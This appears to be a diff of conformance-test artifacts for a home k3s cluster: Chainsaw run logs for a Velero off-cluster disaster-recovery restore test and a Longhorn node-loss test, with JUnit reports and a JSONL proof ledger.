Completed|Failed|PartiallyFailed|FailedValidation) break ;;
|
||||
esac
|
||||
sleep 10
|
||||
done
|
||||
if [ "${RPHASE:-}" != "Completed" ]; then
|
||||
echo "FAIL: restore did not complete (phase=${RPHASE:-<timeout>})" >&2
|
||||
kubectl -n "$VNS" get restores.velero.io "$RS" -o yaml >&2 || true
|
||||
kubectl -n "$VNS" get podvolumerestores.velero.io -l velero.io/restore-name="$RS" -o wide >&2 || true
|
||||
exit 1
|
||||
fi
|
||||
echo "restore $RS Completed into $DST"
|
||||
|
||||
# ============================= THEN ==============================
|
||||
# The service returns WITH ITS DATA. With kopia FSB the restored pod carries a
|
||||
# `restore-wait` init container that blocks until the node-agent has written the
|
||||
# volume contents back, so Ready here already implies the data landed.
|
||||
if ! kubectl -n "$DST" wait --for=condition=Ready pod/dr-workload --timeout=600s; then
|
||||
echo "FAIL: restored workload never became Ready in the clean namespace $DST" >&2
|
||||
kubectl -n "$DST" describe pod dr-workload >&2 || true
|
||||
kubectl -n "$VNS" get podvolumerestores.velero.io -l velero.io/restore-name="$RS" -o wide >&2 || true
|
||||
exit 1
|
||||
fi
|
||||
|
||||
NEW_PV="$(kubectl -n "$DST" get pvc dr-data -o jsonpath='{.spec.volumeName}' 2>/dev/null || true)"
|
||||
echo "restored PVC bound to PersistentVolume: ${NEW_PV:-<none>}"
|
||||
[ -n "$NEW_PV" ] || { echo "FAIL: restored PVC did not bind a PV" >&2; exit 1; }
|
||||
if [ "$NEW_PV" = "$ORIG_PV" ]; then
|
||||
echo "FAIL: the restored PVC rebound the ORIGINAL PersistentVolume ($ORIG_PV)." >&2
|
||||
echo " That is an in-cluster survival, not an off-cluster restore." >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "restored onto a NEW volume ($NEW_PV != $ORIG_PV) -- the data came from outside the cluster"
|
||||
|
||||
GOT="$(kubectl -n "$DST" exec dr-workload -- cat /data/canary)"
|
||||
echo "recovered='$GOT' expected='$CANARY'"
|
||||
if [ "$GOT" != "$CANARY" ]; then
|
||||
echo "FAIL: restored data does not match what was backed up -- DR restore lost/corrupted data" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK
|
||||
l.go:52: | 02:17:18 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
velero ns=velero bsl=default src=chainsaw-glorious-sheep-dr-src dst=chainsaw-glorious-sheep-dr-dst
|
||||
namespace/chainsaw-glorious-sheep-dr-src created
|
||||
namespace/chainsaw-glorious-sheep-dr-src labeled
|
||||
persistentvolumeclaim/dr-data created
|
||||
pod/dr-workload created
|
||||
pod/dr-workload condition met
|
||||
seeded canary: dr-canary-1789352108935754215
|
||||
original in-cluster PersistentVolume: pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9
|
||||
backup.velero.io/chainsaw-glorious-sheep-dr-backup created
|
||||
poll 1: backup phase=InProgress
|
||||
poll 2: backup phase=InProgress
|
||||
poll 3: backup phase=InProgress
|
||||
poll 4: backup phase=Completed
|
||||
backup chainsaw-glorious-sheep-dr-backup Completed to default
|
||||
pod volume backups:
|
||||
chainsaw-glorious-sheep-dr-backup-2gjrq Completed 979eed437233b45c7f85ba80074ab56b
|
||||
volume data uploaded off-cluster (PodVolumeBackup Completed with a kopia snapshotID)
|
||||
namespace "chainsaw-glorious-sheep-dr-src" deleted
|
||||
source namespace destroyed
|
||||
original PersistentVolume pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9 is GONE -- no in-cluster copy of the data remains
|
||||
(longhorn Volume CR pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9 not present -- either deleted or not readable by this identity)
|
||||
restore.velero.io/chainsaw-glorious-sheep-dr-restore created
|
||||
poll 1: restore phase=InProgress
|
||||
poll 2: restore phase=InProgress
|
||||
poll 3: restore phase=InProgress
|
||||
poll 4: restore phase=Completed
|
||||
restore chainsaw-glorious-sheep-dr-restore Completed into chainsaw-glorious-sheep-dr-dst
|
||||
pod/dr-workload condition met
|
||||
restored PVC bound to PersistentVolume: pvc-f0c061e1-c080-49f2-a381-23da5c886df2
|
||||
restored onto a NEW volume (pvc-f0c061e1-c080-49f2-a381-23da5c886df2 != pvc-4107d59d-a34f-4cba-bd2a-c5b2446156d9) -- the data came from outside the cluster
|
||||
recovered='dr-canary-1789352108935754215' expected='dr-canary-1789352108935754215'
|
||||
DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK
|
||||
=== STDERR
|
||||
Defaulted container "app" out of: app, restore-wait (init)
|
||||
l.go:52: | 02:17:18 | [32;1mdr-restore[0;22m | [32;1mdata-restores-from-the-off-cluster-backup[0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 02:17:18 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mTRY[0;22m | [36;1mEND[0;22m |
|
||||
l.go:52: | 02:17:18 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mFINALLY[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 02:17:18 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c set -u
|
||||
NS="$NAMESPACE"
|
||||
SRC="${NS}-dr-src"; DST="${NS}-dr-dst"; BK="${NS}-dr-backup"; RS="${NS}-dr-restore"
|
||||
|
||||
VNS="$(kubectl get backupstoragelocations.velero.io -A -o jsonpath='{.items[0].metadata.namespace}' 2>/dev/null || true)"
|
||||
|
||||
# Velero objects first: a DeleteBackupRequest makes Velero remove the backup
|
||||
# DATA from the off-cluster bucket, not just the CR (self-cleaning contract).
|
||||
if [ -n "$VNS" ]; then
|
||||
kubectl -n "$VNS" delete restores.velero.io "$RS" --ignore-not-found --wait=false || true
|
||||
if kubectl -n "$VNS" get backups.velero.io "$BK" >/dev/null 2>&1; then
|
||||
kubectl apply -f - <<EOF || true
|
||||
apiVersion: velero.io/v1
|
||||
kind: DeleteBackupRequest
|
||||
metadata:
|
||||
name: ${BK}-delete
|
||||
namespace: ${VNS}
|
||||
labels:
|
||||
conformance.home.k3s/created-by: ${NS}
|
||||
spec:
|
||||
backupName: ${BK}
|
||||
EOF
|
||||
for i in $(seq 1 18); do
|
||||
kubectl -n "$VNS" get backups.velero.io "$BK" >/dev/null 2>&1 || break
|
||||
sleep 10
|
||||
done
|
||||
# Backstop if Velero could not process the request (the 2h ttl also GCs it).
|
||||
kubectl -n "$VNS" delete backups.velero.io "$BK" --ignore-not-found --wait=false || true
|
||||
kubectl -n "$VNS" delete deletebackuprequests.velero.io "${BK}-delete" --ignore-not-found --wait=false || true
|
||||
fi
|
||||
echo "velero objects for $NS cleaned up (ns $VNS)"
|
||||
fi
|
||||
|
||||
# Scratch namespaces (both, in case the run aborted at any point).
|
||||
for n in "$DST" "$SRC"; do
|
||||
kubectl delete namespace "$n" --ignore-not-found --wait=false || true
|
||||
done
|
||||
# Anything left labelled as ours (defensive; the two names above are the only
|
||||
# namespaces this test ever creates).
|
||||
kubectl delete namespace -l "conformance.home.k3s/created-by=${NS}" --ignore-not-found --wait=false || true
|
||||
|
||||
# Released PVs from either namespace's PVCs would otherwise leak storage.
|
||||
for pv in $(kubectl get pv -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.spec.claimRef.namespace}{"\n"}{end}' 2>/dev/null | grep -E " (${SRC}|${DST})$" | cut -d' ' -f1 || true); do
|
||||
kubectl delete pv "$pv" --ignore-not-found --wait=false || true
|
||||
echo "released leftover PersistentVolume: $pv"
|
||||
done
|
||||
|
||||
echo "dr-restore teardown complete (best-effort; every object was created by this test)"
|
||||
l.go:52: | 02:17:30 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
restore.velero.io "chainsaw-glorious-sheep-dr-restore" deleted from velero namespace
|
||||
deletebackuprequest.velero.io/chainsaw-glorious-sheep-dr-backup-delete created
|
||||
velero objects for chainsaw-glorious-sheep cleaned up (ns velero)
|
||||
namespace "chainsaw-glorious-sheep-dr-dst" deleted
|
||||
namespace "chainsaw-glorious-sheep-dr-dst" deleted
|
||||
persistentvolume "pvc-f0c061e1-c080-49f2-a381-23da5c886df2" deleted
|
||||
released leftover PersistentVolume: pvc-f0c061e1-c080-49f2-a381-23da5c886df2
|
||||
dr-restore teardown complete (best-effort; every object was created by this test)
|
||||
l.go:52: | 02:17:30 | [32;1mdr-restore[0;22m | [32;1mdata-restores-from-the-off-cluster-backup[0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 02:17:30 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mFINALLY[0;22m | [36;1mEND[0;22m |
|
||||
l.go:52: | 02:17:30 | [36;1mdr-restore[0;22m | [36;1m@chainsaw [0;22m | [36;1mCLEANUP[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 02:17:30 | [32;1mdr-restore[0;22m | [32;1m@chainsaw [0;22m | [32;1mDELETE[0;22m | [32;1mOK[0;22m | v1/Namespace @ chainsaw-glorious-sheep
|
||||
l.go:52: | 02:17:36 | [36;1mdr-restore[0;22m | [36;1m@chainsaw [0;22m | [36;1mCLEANUP[0;22m | [36;1mEND[0;22m |
|
||||
--- PASS: chainsaw (0.00s)
|
||||
--- PASS: chainsaw/dr-restore (150.70s)
|
||||
PASS
|
||||
Tests Summary...
|
||||
- Passed tests 1
|
||||
- Failed tests 0
|
||||
- Skipped tests 0
|
||||
Done.
|
||||
merge_junit: merged 1 report(s) -> /work/conformance/_artifacts/report.junit.xml (tests=1 failures=0 errors=0 skipped=0)
|
||||
[1m[run.sh][0m Done. JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" ?>
|
||||
<testsuites name="home-k3s-conformance" tests="1" failures="0" errors="0" skipped="0">
|
||||
<testsuite name="home-k3s-conformance L0/L1 (offline)" tests="1" failures="0" errors="0" skipped="0">
|
||||
<testcase classname="L0:R-ENV-02,R-STATE-03" name="placeholder-guard-coupling">
|
||||
<properties>
|
||||
<property name="requirements" value="R-ENV-02,R-STATE-03"/>
|
||||
<property name="layer" value="L0"/>
|
||||
<property name="path" value="/work/conformance/tests/l0-static/placeholder-guard-coupling"/>
|
||||
<property name="scope" value=""/>
|
||||
</properties>
|
||||
</testcase>
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
@@ -0,0 +1,7 @@
|
||||
[1m[run.sh][0m Coverage report first (always)
|
||||
[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
|
||||
[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
|
||||
[1m[run.sh][0m Running 1 offline L0/L1 check(s) (no cluster; docs/14).
|
||||
[offline] L0 PASS placeholder-guard-coupling (R-ENV-02,R-STATE-03)
|
||||
[offline] wrote JUnit (1 case(s), 0 failure(s), 0 skip(s), 0 unwired) -> /work/conformance/_artifacts/report.junit.xml
|
||||
[1m[run.sh][0m Done (offline l0). JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md
|
||||
@@ -0,0 +1,6 @@
|
||||
[1m[run.sh][0m Coverage report first (always)
|
||||
[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
|
||||
[coverage] wrote /home/keith/source/home-network-k3s-impl/conformance/_artifacts/coverage/coverage.md and /home/keith/source/home-network-k3s-impl/conformance/_artifacts/coverage/coverage.json
|
||||
[1m[run.sh][0m No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-02').
|
||||
ERROR: cluster reachable but 'chainsaw' (v0.2.12) not on PATH.
|
||||
Install the pinned binary or run via the in-cluster Job (incluster/).
|
||||
@@ -0,0 +1,4 @@
|
||||
<testsuites name="chainsaw-report" tests="1" failures="0" errors="0" time="0.000000"><testsuite name="/work/conformance/tests/l3-fault-injection/node-loss" tests="1" failures="0" errors="0" id="0" time="">
|
||||
<testcase name="node-loss" classname="" time="115.855688" />
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
@@ -0,0 +1,232 @@
|
||||
[1m[run.sh][0m Coverage report first (always)
|
||||
[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
|
||||
[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
|
||||
[1m[run.sh][0m No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-02').
|
||||
[1m[run.sh][0m LIGHT pass: no tests selected.
|
||||
[1m[run.sh][0m HEAVY pass: 1 test(s) SERIAL (parallel=1) — node-loss
|
||||
Version: 0.2.12
|
||||
Loading config (/work/conformance/config/chainsaw-config.yaml)...
|
||||
- Using test file: chainsaw-test
|
||||
- TestDirs [/work/conformance/tests/l3-fault-injection/node-loss]
|
||||
- SkipDelete false
|
||||
- FailFast false
|
||||
- ReportFormat 'JUNIT-TEST'
|
||||
- ReportName 'chainsaw-report-heavy'
|
||||
- ReportPath '/work/conformance/_artifacts'
|
||||
- Namespace ''
|
||||
- FullName false
|
||||
- IncludeTestRegex ''
|
||||
- ExcludeTestRegex ''
|
||||
- ApplyTimeout 1m30s
|
||||
- AssertTimeout 3m0s
|
||||
- CleanupTimeout 2m0s
|
||||
- DeleteTimeout 2m0s
|
||||
- ErrorTimeout 1m0s
|
||||
- ExecTimeout 3m0s
|
||||
- DeletionPropagationPolicy Background
|
||||
- Parallel 1
|
||||
- Template true
|
||||
- NoCluster false
|
||||
- PauseOnFailure false
|
||||
Loading tests...
|
||||
- node-loss (/work/conformance/tests/l3-fault-injection/node-loss)
|
||||
Loading values...
|
||||
Running tests...
|
||||
=== RUN chainsaw
|
||||
=== PAUSE chainsaw
|
||||
=== CONT chainsaw
|
||||
=== RUN chainsaw/node-loss
|
||||
=== PAUSE chainsaw/node-loss
|
||||
=== CONT chainsaw/node-loss
|
||||
l.go:52: | 05:22:26 | [32;1mnode-loss[0;22m | [32;1m@chainsaw [0;22m | [32;1mCREATE[0;22m | [32;1mOK[0;22m | v1/Namespace @ chainsaw-advanced-boxer
|
||||
l.go:52: | 05:22:26 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mTRY[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 05:22:26 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c set -euo pipefail
|
||||
NS="$NAMESPACE"
|
||||
|
||||
# -- Gate 1: skip cleanly (green) if the longhorn tier is not present yet. --
|
||||
if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
|
||||
echo "SKIP: 'longhorn' StorageClass absent — node-loss not applicable on this cluster yet"
|
||||
echo NODE_LOSS_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# -- Gate 2: a 3-replica volume + single-node-loss headroom needs >= 3 Ready nodes. --
|
||||
READY="$(kubectl get nodes \
|
||||
-o jsonpath='{range .items[*]}{.status.conditions[?(@.type=="Ready")].status}{"\n"}{end}' \
|
||||
| grep -c '^True$' || true)"
|
||||
echo "ready nodes: ${READY}"
|
||||
if [ "${READY:-0}" -lt 3 ]; then
|
||||
echo "SKIP: only ${READY:-0} Ready node(s) (<3) — node-loss resilience not meaningful yet"
|
||||
echo NODE_LOSS_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
|
||||
CANARY="node-loss-canary-$(date +%s%N)"
|
||||
|
||||
# -- GIVEN: a Longhorn PVC (platform default SC = 3 replicas across nodes) + a
|
||||
# writer pod that writes the canary and flushes it to the replicated volume. --
|
||||
kubectl -n "$NS" apply -f - <<EOF
|
||||
apiVersion: v1
|
||||
kind: PersistentVolumeClaim
|
||||
metadata:
|
||||
name: survivor
|
||||
spec:
|
||||
accessModes: [ReadWriteOnce]
|
||||
storageClassName: longhorn
|
||||
resources:
|
||||
requests:
|
||||
storage: 1Gi
|
||||
EOF
|
||||
|
||||
apply_pod() {
|
||||
kubectl -n "$NS" apply -f - <<EOF
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: $1
|
||||
spec:
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- name: app
|
||||
image: busybox:1.36.1
|
||||
command: ["sh", "-c", "sleep 3600"]
|
||||
volumeMounts:
|
||||
- name: data
|
||||
mountPath: /data
|
||||
volumes:
|
||||
- name: data
|
||||
persistentVolumeClaim:
|
||||
claimName: survivor
|
||||
EOF
|
||||
}
|
||||
|
||||
apply_pod writer
|
||||
kubectl -n "$NS" wait --for=condition=Ready pod/writer --timeout=240s
|
||||
printf '%s' "$CANARY" | kubectl -n "$NS" exec -i writer -- sh -c 'cat > /data/canary && sync'
|
||||
echo "wrote canary: $(kubectl -n "$NS" exec writer -- cat /data/canary)"
|
||||
|
||||
# The victim node is the one the attached volume currently lives on.
|
||||
VICTIM="$(kubectl -n "$NS" get pod writer -o jsonpath='{.spec.nodeName}')"
|
||||
[ -n "$VICTIM" ] || { echo "FAIL: could not determine writer's node" >&2; exit 1; }
|
||||
echo "victim node (currently hosts the attached volume): $VICTIM"
|
||||
|
||||
# Best-effort precondition log: if the Longhorn Volume CR is readable, show the
|
||||
# volume is genuinely 3-replica/healthy before we take a node. Non-fatal (the
|
||||
# runner is least-privilege and may not have longhorn.io read rights) — the
|
||||
# data-availability assertion below is the authoritative proof, not this.
|
||||
PVNAME="$(kubectl -n "$NS" get pvc survivor -o jsonpath='{.spec.volumeName}' 2>/dev/null || true)"
|
||||
if [ -n "$PVNAME" ]; then
|
||||
kubectl -n longhorn-system get volumes.longhorn.io "$PVNAME" \
|
||||
-o jsonpath='pre-fault robustness={.status.robustness} replicas={.spec.numberOfReplicas}{"\n"}' \
|
||||
2>/dev/null || echo "(Longhorn Volume CR not readable — continuing; data read is the proof)"
|
||||
fi
|
||||
|
||||
# -- WHEN: FAULT INJECTION — remove the victim node FROM SERVICE. --
|
||||
# Label it with THIS test's unique namespace so `finally` can always find and
|
||||
# uncordon exactly this node; then cordon it; then evict ONLY our own writer
|
||||
# pod, forcing the volume to detach from the victim. (No `drain` — unrelated
|
||||
# pods on the node are never touched.)
|
||||
kubectl label node "$VICTIM" "conformance.home.k3s/cordoned-by=$NS" --overwrite
|
||||
kubectl cordon "$VICTIM"
|
||||
echo "cordoned + labelled victim node: $VICTIM"
|
||||
kubectl -n "$NS" delete pod writer --wait=true --timeout=240s
|
||||
echo "evicted writer off the victim node; volume detached from $VICTIM"
|
||||
|
||||
# -- THEN: a fresh workload re-binds the SAME volume. The victim is unschedulable,
|
||||
# so the scheduler MUST place the reader on a SURVIVING node; Longhorn re-attaches
|
||||
# the volume there from its replicas on the other nodes. --
|
||||
apply_pod reader
|
||||
kubectl -n "$NS" wait --for=condition=Ready pod/reader --timeout=360s
|
||||
READER_NODE="$(kubectl -n "$NS" get pod reader -o jsonpath='{.spec.nodeName}')"
|
||||
echo "reader scheduled on surviving node: $READER_NODE (victim was $VICTIM)"
|
||||
if [ "$READER_NODE" = "$VICTIM" ]; then
|
||||
echo "FAIL: reader landed back on the cordoned victim node — node was not removed from service" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
GOT="$(kubectl -n "$NS" exec reader -- cat /data/canary)"
|
||||
echo "recovered='$GOT' expected='$CANARY'"
|
||||
[ "$GOT" = "$CANARY" ] || { echo "FAIL: data not available after node loss" >&2; exit 1; }
|
||||
echo "volume available + data intact from a surviving node"
|
||||
|
||||
# Best-effort reconvergence log: if the Longhorn Volume CR is readable, wait
|
||||
# (bounded) for robustness to settle back to available (healthy|degraded — both
|
||||
# serve I/O; a healthy 3-replica volume rebuilds a replica once headroom exists).
|
||||
# Non-fatal for the same least-privilege reason as the pre-fault log.
|
||||
if [ -n "$PVNAME" ]; then
|
||||
for i in $(seq 1 30); do
|
||||
ROB="$(kubectl -n longhorn-system get volumes.longhorn.io "$PVNAME" \
|
||||
-o jsonpath='{.status.robustness}' 2>/dev/null || true)"
|
||||
[ -z "$ROB" ] && { echo "(Longhorn Volume CR not readable — skipping reconvergence log)"; break; }
|
||||
echo "post-fault robustness[$i]=$ROB"
|
||||
case "$ROB" in healthy|degraded) break ;; esac
|
||||
sleep 10
|
||||
done
|
||||
fi
|
||||
|
||||
echo NODE_LOSS_VOLUME_AVAILABLE_OK
|
||||
l.go:52: | 05:23:37 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
ready nodes: 3
|
||||
persistentvolumeclaim/survivor created
|
||||
pod/writer created
|
||||
pod/writer condition met
|
||||
wrote canary: node-loss-canary-1789795346371286043
|
||||
victim node (currently hosts the attached volume): k3s-prod-2
|
||||
pre-fault robustness=healthy replicas=3
|
||||
node/k3s-prod-2 labeled
|
||||
node/k3s-prod-2 cordoned
|
||||
cordoned + labelled victim node: k3s-prod-2
|
||||
pod "writer" deleted from chainsaw-advanced-boxer namespace
|
||||
evicted writer off the victim node; volume detached from k3s-prod-2
|
||||
pod/reader created
|
||||
pod/reader condition met
|
||||
reader scheduled on surviving node: k3s-prod-3 (victim was k3s-prod-2)
|
||||
recovered='node-loss-canary-1789795346371286043' expected='node-loss-canary-1789795346371286043'
|
||||
volume available + data intact from a surviving node
|
||||
post-fault robustness[1]=healthy
|
||||
NODE_LOSS_VOLUME_AVAILABLE_OK
|
||||
l.go:52: | 05:23:37 | [32;1mnode-loss[0;22m | [32;1mvolume-stays-available-across-node-loss[0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 05:23:37 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mTRY[0;22m | [36;1mEND[0;22m |
|
||||
l.go:52: | 05:23:37 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mFINALLY[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 05:23:37 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c set -uo pipefail
|
||||
for n in $(kubectl get nodes -l "conformance.home.k3s/cordoned-by=$NAMESPACE" -o name 2>/dev/null); do
|
||||
kubectl uncordon "${n#node/}" || true
|
||||
kubectl label "$n" "conformance.home.k3s/cordoned-by-" || true
|
||||
echo "restored node to service: ${n#node/}"
|
||||
done
|
||||
l.go:52: | 05:23:37 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
node/k3s-prod-2 uncordoned
|
||||
node/k3s-prod-2 unlabeled
|
||||
restored node to service: k3s-prod-2
|
||||
l.go:52: | 05:23:37 | [32;1mnode-loss[0;22m | [32;1mvolume-stays-available-across-node-loss[0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 05:23:37 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c kubectl -n "$NAMESPACE" delete pod writer reader --ignore-not-found --wait=false || true
|
||||
kubectl -n "$NAMESPACE" delete pvc survivor --ignore-not-found --wait=false || true
|
||||
echo "cleanup best-effort; chainsaw namespace teardown finalizes"
|
||||
l.go:52: | 05:23:38 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
pod "reader" deleted from chainsaw-advanced-boxer namespace
|
||||
persistentvolumeclaim "survivor" deleted from chainsaw-advanced-boxer namespace
|
||||
cleanup best-effort; chainsaw namespace teardown finalizes
|
||||
l.go:52: | 05:23:38 | [32;1mnode-loss[0;22m | [32;1mvolume-stays-available-across-node-loss[0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 05:23:38 | [36;1mnode-loss[0;22m | [36;1mvolume-stays-available-across-node-loss[0;22m | [36;1mFINALLY[0;22m | [36;1mEND[0;22m |
|
||||
l.go:52: | 05:23:38 | [36;1mnode-loss[0;22m | [36;1m@chainsaw [0;22m | [36;1mCLEANUP[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 05:23:38 | [32;1mnode-loss[0;22m | [32;1m@chainsaw [0;22m | [32;1mDELETE[0;22m | [32;1mOK[0;22m | v1/Namespace @ chainsaw-advanced-boxer
|
||||
l.go:52: | 05:24:21 | [36;1mnode-loss[0;22m | [36;1m@chainsaw [0;22m | [36;1mCLEANUP[0;22m | [36;1mEND[0;22m |
|
||||
--- PASS: chainsaw (0.00s)
|
||||
--- PASS: chainsaw/node-loss (115.86s)
|
||||
PASS
|
||||
Tests Summary...
|
||||
- Passed tests 1
|
||||
- Failed tests 0
|
||||
- Skipped tests 0
|
||||
Done.
|
||||
merge_junit: merged 1 report(s) -> /work/conformance/_artifacts/report.junit.xml (tests=1 failures=0 errors=0 skipped=0)
|
||||
[1m[run.sh][0m Done. JUnit: /work/conformance/_artifacts/report.junit.xml | Coverage: /work/conformance/_artifacts/coverage/coverage.md
|
||||
@@ -3,3 +3,6 @@
|
||||
{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "19fc8bcb27eab42a0007b28a831519d3e325c7b6", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L1", "note": "L1 offline check exited 0; run_l1_offline.py renders its skips as JUnit <skipped/>, so a green JUnit is truthful without a sentinel", "proof": "proven", "requirements": ["R-NET-05", "R-NET-06", "R-NET-07"], "run_id": "20260913T014321Z-19fc8bc", "sentinel": null, "test": "egress-class-render", "ts_utc": "2026-09-13T01:43:21Z"}
|
||||
{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "19fc8bcb27eab42a0007b28a831519d3e325c7b6-dirty", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK, TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-NET-06"], "run_id": "20260913T014437Z-19fc8bc", "sentinel": "TUNNEL_RECOVERED_OK", "test": "vpn-killswitch", "ts_utc": "2026-09-13T01:44:37Z"}
|
||||
{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "9d0814ae61e6a0ba64d3789a71f1cd9c985efbf0", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NS_PRIVILEGED_OK, TUNNEL_HEALTHY_OK, NO_LEAK_OK, INTERNET_UNAFFECTED_OK, TUNNEL_SELF_HEAL_OK, TUNNEL_RECOVERED_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-NET-06"], "run_id": "20260913T014923Z-9d0814a", "sentinel": "TUNNEL_RECOVERED_OK", "test": "vpn-killswitch", "ts_utc": "2026-09-13T01:49:23Z"}
|
||||
{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "24b8111d0c39e9417e9f4d782f333f683540cfa7", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (OFF_CLUSTER_TARGET_OK, BACKUPS_ARE_SCHEDULED_OK, DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-STATE-03"], "run_id": "20260914T021505Z-24b8111", "sentinel": "DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK", "test": "dr-restore", "ts_utc": "2026-09-14T02:15:05Z"}
|
||||
{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "bd17b65db9fa906f336528e90b429ec1e2377963", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L0", "note": "L0 offline check exited 0; run_l1_offline.py renders its skips as JUnit <skipped/>, so a green JUnit is truthful without a sentinel", "proof": "proven", "requirements": ["R-ENV-02", "R-STATE-03"], "run_id": "20260914T021902Z-bd17b65", "sentinel": null, "test": "placeholder-guard-coupling", "ts_utc": "2026-09-14T02:19:02Z"}
|
||||
